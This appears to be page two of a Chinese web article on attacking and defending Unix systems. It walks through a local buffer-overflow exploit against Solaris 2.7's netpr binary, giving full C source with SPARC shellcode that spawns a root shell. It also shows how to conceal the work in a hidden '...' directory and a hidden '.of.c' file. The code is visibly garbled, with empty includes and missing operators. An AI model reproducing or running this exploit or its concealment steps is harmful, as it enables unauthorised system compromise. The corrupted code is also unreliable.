站内搜索
分类列表
广告
Unix系统攻击和防范
作者:    来源:    点击:    日期:2007-11-16 8:36:53   
现在,我们就开始溢出吧!

  $ cd

  $ pwd

  $ /export/home/power

  $ mkdir ...

  $ cd ...

  $ vi ./.of.c

  file://Here is the C source code for overflow in SunOS.

  #include

  #include

  #include

  #include

  #include

  #define NOPNUM 4000

  #define ADRNUM 1200

  #define ALLIGN 3

  char shellcode[]=

  "\x20\xbf\xff\xff" /* bn,a */

  "\x20\xbf\xff\xff" /* bn,a */

  "\x7f\xff\xff\xff" /* call */

  "\x90\x03\xe0\x20" /* add %o7,32,%o0 */

  "\x92\x02\x20\x10" /* add %o0,16,%o1 */

  "\xc0\x22\x20\x08" /* st %g0,[%o0 8] */

  "\xd0\x22\x20\x10" /* st %o0,[%o0 16] */

  "\xc0\x22\x20\x14" /* st %g0,[%o0 20] */

  "\x82\x10\x20\x0b" /* mov 0xb,%g1 */

  "\x91\xd0\x20\x08" /* ta 8 */

  "/bin/ksh";

  char jump[]=

  "\x81\xc3\xe0\x08" /* jmp %o7 8 */

  "\x90\x10\x00\x0e"; /* mov %sp,%o0 */

  static char nop[]="\x80\x1c\x40\x11";

  main(int argc,char **argv)

  {

  char buffer[10000],adr[4],*b,*envp[2];

  int i;

  printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland file://lsd-pl.net/\n");

  printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");

  if(argc==1)

  {

  printf("usage: %s lpserver\n",argv[0]);

  exit(-1);

  }

  *((unsigned long*)adr)=(*(unsigned long(*)())jump)() 7124 2000;

  envp[0]=&buffer[0];

  envp[1]=0;

  b=&buffer[0];

  sprintf(b,"xxx=");

  b =4;

  for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b =0xff;

  for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;

  b=&buffer[5000];

  for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;

  execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],

  "-p",&buffer[5000],"/bin/sh",0,envp);

  }

 上面我们建立一个隐藏目录“...”,再建立一个隐藏的源代码文件“.of.c”。
首页 上一页 [2] [3] [4] [5] [6]  下一页 尾页 
Unix系统攻击和防范 评论